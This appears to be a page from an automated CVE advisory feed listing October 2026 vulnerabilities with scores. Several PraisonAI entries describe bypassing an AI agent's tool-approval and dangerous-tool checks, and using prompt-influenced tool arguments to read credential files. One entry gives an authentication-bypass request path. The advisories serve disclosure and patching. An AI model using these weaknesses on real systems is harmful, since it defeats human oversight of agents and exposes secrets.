In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption. This vulnerability does not allow an attacker to gain the Network Key or otherwise break confidentiality.
CVSS 7.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-66279).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-66279&date=2026-10-25).
Sources:
NVD CVE-2026-66279: https://nvd.nist.gov/vuln/detail/CVE-2026-66279
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-66279&date=2026-10-25
In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption. This vulnerability does not allow an attacker to gain the Network Key or otherwise break confidentiality.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56840
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True. This issue has been patched in version 4.6.59.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56840).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56840&date=2026-10-25).
Sources:
NVD CVE-2026-56840: https://nvd.nist.gov/vuln/detail/CVE-2026-56840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56840&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56838
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.59, PraisonAI recipe execution blocks default-denied dangerous tools unless the caller explicitly passes allow_dangerous_tools=True. The normal recipe.run() path enforces this with _check_tool_policy(). The streaming path, recipe.run_stream(), loads the same recipe, checks dependencies, and then calls _execute_recipe() without running the dangerous-tool policy check. As a result, a recipe that honestly declares execute_command in TEMPLATE.yaml requires.tools is denied by recipe.run(), but reaches the execution engine through recipe.run_stream() with allow_dangerous_tools=False. This issue has been patched in version 4.6.59.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56838).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56838&date=2026-10-25).
Sources:
NVD CVE-2026-56838: https://nvd.nist.gov/vuln/detail/CVE-2026-56838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56838&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.59, PraisonAI recipe execution blocks default-denied dangerous tools unless the caller explicitly passes allow_dangerous_tools=True. The normal recipe.run() path enforces this with _check_tool_policy(). The streaming path, recipe.run_stream(), loads the same recipe, checks dependencies, and then calls _execute_recipe() without running the dangerous-tool policy check. As a result, a recipe that honestly declares execute_command in TEMPLATE.yaml requires.tools is denied by recipe.run(), but reaches the execution engine through recipe.run_stream() with allow_dangerous_tools=False. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56836
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.112 to before version 4.6.59, PraisonAI's installed console entrypoint is Typer-first. In current releases, the recipe command is registered in the Typer app and praisonai recipe serve dispatches to the deprecated Typer command in src/praisonai/praisonai/cli/commands/recipe.py. That Typer command can start the Recipe HTTP server on a non-localhost interface with no authentication. It prints a deprecation warning, and then launches the server. Because config.auth is absent, create_app() does not attach the API-key or JWT middleware. Unauthenticated requests can then reach the recipe API and, when enabled, /admin/reload. This issue has been patched in version 4.6.59.
CVSS 8.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56836).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56836&date=2026-10-25).
Sources:
NVD CVE-2026-56836: https://nvd.nist.gov/vuln/detail/CVE-2026-56836
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56836&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.112 to before version 4.6.59, PraisonAI's installed console entrypoint is Typer-first. In current releases, the recipe command is registered in the Typer app and praisonai recipe serve dispatches to the deprecated Typer command in src/praisonai/praisonai/cli/commands/recipe.py. That Typer command can start the Recipe HTTP server on a non-localhost interface with no authentication. It prints a deprecation warning, and then launches the server. Because config.auth is absent, create_app() does not attach the API-key or JWT middleware. Unauthenticated requests can then reach the recipe API and, when enabled, /admin/reload. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56835
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 3.11.0 to before version 4.6.59, PraisonAI's Slack bot applies its configured allowed_users, allowed_channels, and unknown-user pairing policy in the normal Slack message event handler, but not in the adjacent Slack app_mention event handler. A Slack workspace user who can mention the bot in a channel where the Slack app is present can trigger the configured PraisonAI agent even when: the sender is not in BotConfig.allowed_users; the channel is not in BotConfig.allowed_channels; unknown_user_policy="deny" is configured; and the same event content is correctly dropped by the normal message handler. This issue has been patched in version 4.6.59.
CVSS 8.3 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56835).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56835&date=2026-10-25).
Sources:
NVD CVE-2026-56835: https://nvd.nist.gov/vuln/detail/CVE-2026-56835
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56835&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 3.11.0 to before version 4.6.59, PraisonAI's Slack bot applies its configured allowed_users, allowed_channels, and unknown-user pairing policy in the normal Slack message event handler, but not in the adjacent Slack app_mention event handler. A Slack workspace user who can mention the bot in a channel where the Slack app is present can trigger the configured PraisonAI agent even when: the sender is not in BotConfig.allowed_users; the channel is not in BotConfig.allowed_channels; unknown_user_policy="deny" is configured; and the same event content is correctly dropped by the normal message handler. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56834
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context Discovery feature exposes artifact helper tools through ctx.get_tools(). The implemented artifact tools do not enforce that the supplied artifact_path is an artifact created by the configured store or that it lives under the configured artifact base directory. Instead, artifact_head, artifact_tail, artifact_grep, and artifact_chunk wrap the caller-supplied path directly into an ArtifactRef and then read it from the host filesystem. As a result, any prompt/user/tool-caller that can influence those tool arguments can read files readable by the PraisonAI process, such as project .env files, cloud credentials, SSH keys, source files, or other local data. This issue has been patched in version 4.6.59.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56834).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56834&date=2026-10-25).
Sources:
NVD CVE-2026-56834: https://nvd.nist.gov/vuln/detail/CVE-2026-56834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56834&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context Discovery feature exposes artifact helper tools through ctx.get_tools(). The implemented artifact tools do not enforce that the supplied artifact_path is an artifact created by the configured store or that it lives under the configured artifact base directory. Instead, artifact_head, artifact_tail, artifact_grep, and artifact_chunk wrap the caller-supplied path directly into an ArtifactRef and then read it from the host filesystem. As a result, any prompt/user/tool-caller that can influence those tool arguments can read files readable by the PraisonAI process, such as project .env files, cloud credentials, SSH keys, source files, or other local data. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56832
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.DiscordApproval approves a pending dangerous tool call when it sees any later non-bot message in the configured Discord channel whose text is classified as approval, such as yes. As a result, any user who can post in the configured approval channel can approve a pending high-risk tool call by sending yes after the approval message appears. the same PoV also shows that the Slack and Telegram messaging approval backends have no explicit approver allowlist parameter, but the primary report-grade issue is the Discord backend's unthreaded channel cross-talk: the approving message does not need to be a reply or otherwise request-bound. This issue has been patched in version 4.6.59.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56832).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56832&date=2026-10-25).
Sources:
NVD CVE-2026-56832: https://nvd.nist.gov/vuln/detail/CVE-2026-56832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56832&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.DiscordApproval approves a pending dangerous tool call when it sees any later non-bot message in the configured Discord channel whose text is classified as approval, such as yes. As a result, any user who can post in the configured approval channel can approve a pending high-risk tool call by sending yes after the approval message appears. the same PoV also shows that the Slack and Telegram messaging approval backends have no explicit approver allowlist parameter, but the primary report-grade issue is the Discord backend's unthreaded channel cross-talk: the approving message does not need to be a reply or otherwise request-bound. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP...
https://kevwire.com/record/CVE-2026-15723
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP... (Oct 22, 2026).
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP auto-linking were both enabled, an authenticated user could have taken over an existing LDAP-backed account without any interaction from the targeted user, due to improper input sanitization in the LDAP email lookup path used during OmniAuth identity linking.
CVSS 8.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-15723).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15723&date=2026-10-25).
Sources:
NVD CVE-2026-15723: https://nvd.nist.gov/vuln/detail/CVE-2026-15723
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15723&date=2026-10-25
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP auto-linking were both enabled, an authenticated user could have taken over an existing LDAP-backed account without any interaction from the targeted user, due to improper input sanitization in the LDAP email lookup path used during OmniAuth identity linking.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.
https://kevwire.com/record/CVE-2026-112904
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. (Oct 23, 2026).
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. In versions 1.0.8.6 and prior, the nextRestore() and nextBackup() functions in the backup controller accept a file GET parameter and concatenate it directly to DIR_BACKUP without calling sanitizeFileName(). This allows an authenticated administrator to read arbitrary files on the server (via nextRestore) and write SQL dump content to arbitrary locations (via nextBackup). This is inconsistent with the sibling functions restore(), delete(), and download() which all correctly call sanitizeFileName() first. This issue has been patched via commit aa29cb0.
CVSS 8.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112904).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112904&date=2026-10-25).
Sources:
NVD CVE-2026-112904: https://nvd.nist.gov/vuln/detail/CVE-2026-112904
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112904&date=2026-10-25
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. In versions 1.0.8.6 and prior, the nextRestore() and nextBackup() functions in the backup controller accept a file GET parameter and concatenate it directly to DIR_BACKUP without calling sanitizeFileName(). This allows an authenticated administrator to read arbitrary files on the server (via nextRestore) and write SQL dump content to arbitrary locations (via nextBackup). This is inconsistent with the sibling functions restore(), delete(), and download() which all correctly call sanitizeFileName() first. This issue has been patched via commit aa29cb0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy.
https://kevwire.com/record/CVE-2026-111815
Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy. (Oct 21, 2026).
Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 7.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111815).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111815&date=2026-10-25).
Sources:
NVD CVE-2026-111815: https://nvd.nist.gov/vuln/detail/CVE-2026-111815
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111815&date=2026-10-25
Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a...
https://kevwire.com/record/CVE-2026-111814
Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a... (Oct 21, 2026).
Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a different one.



This issue affects Apache Traffic Server: from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 7.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111814).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111814&date=2026-10-25).
Sources:
NVD CVE-2026-111814: https://nvd.nist.gov/vuln/detail/CVE-2026-111814
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111814&date=2026-10-25
Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a different one.



This issue affects Apache Traffic Server: from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials.
https://kevwire.com/record/CVE-2026-111812
Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials. (Oct 21, 2026).
Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111812).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111812&date=2026-10-25).
Sources:
NVD CVE-2026-111812: https://nvd.nist.gov/vuln/detail/CVE-2026-111812
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111812&date=2026-10-25
Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability.
https://kevwire.com/record/CVE-2026-111184
NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability. (Oct 21, 2026).
NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the NoMachine Device Service. The issue results from incorrect permissions on a named pipe. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-31213.
CVSS 7.8 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111184).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111184&date=2026-10-25).
Sources:
NVD CVE-2026-111184: https://nvd.nist.gov/vuln/detail/CVE-2026-111184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111184&date=2026-10-25
NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the NoMachine Device Service. The issue results from incorrect permissions on a named pipe. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-31213.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-111183
GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability. (Oct 21, 2026).
GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.

The specific flaw exists within the processing of RTP payload elements. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-31143.
CVSS 9.8 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111183).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111183&date=2026-10-25).
Sources:
NVD CVE-2026-111183: https://nvd.nist.gov/vuln/detail/CVE-2026-111183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111183&date=2026-10-25
GStreamer rtpL16depay Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.

The specific flaw exists within the processing of RTP payload elements. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-31143.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling...
https://kevwire.com/record/CVE-2026-105949
Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling... (Oct 20, 2026).
Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling setDenyUncoveredHttpMethods(true). The servlet routes requests using Path.of(pathInfo).getFileName(), which strips all leading segments and trailing slashes. Requests like POST /kafkacruisecontrol/x/rebalance bypass authentication entirely but still dispatch to admin endpoints. All 15 admin endpoints become reachable without authentication. In AMQ Streams, the Strimzi operator's NetworkPolicy restricts Cruise Control port 9090 to operator pods only, reducing effective severity to Important.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105949).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105949&date=2026-10-25).
Sources:
NVD CVE-2026-105949: https://nvd.nist.gov/vuln/detail/CVE-2026-105949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105949&date=2026-10-25
Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling setDenyUncoveredHttpMethods(true). The servlet routes requests using Path.of(pathInfo).getFileName(), which strips all leading segments and trailing slashes. Requests like POST /kafkacruisecontrol/x/rebalance bypass authentication entirely but still dispatch to admin endpoints. All 15 admin endpoints become reachable without authentication. In AMQ Streams, the Strimzi operator's NetworkPolicy restricts Cruise Control port 9090 to operator pods only, reducing effective severity to Important.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Secure Backup (component: Device Management and Support).
https://kevwire.com/record/CVE-2026-101482
Vulnerability in Oracle Secure Backup (component: Device Management and Support). (Oct 20, 2026).
Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101482).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101482&date=2026-10-25).
Sources:
NVD CVE-2026-101482: https://nvd.nist.gov/vuln/detail/CVE-2026-101482
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101482&date=2026-10-25
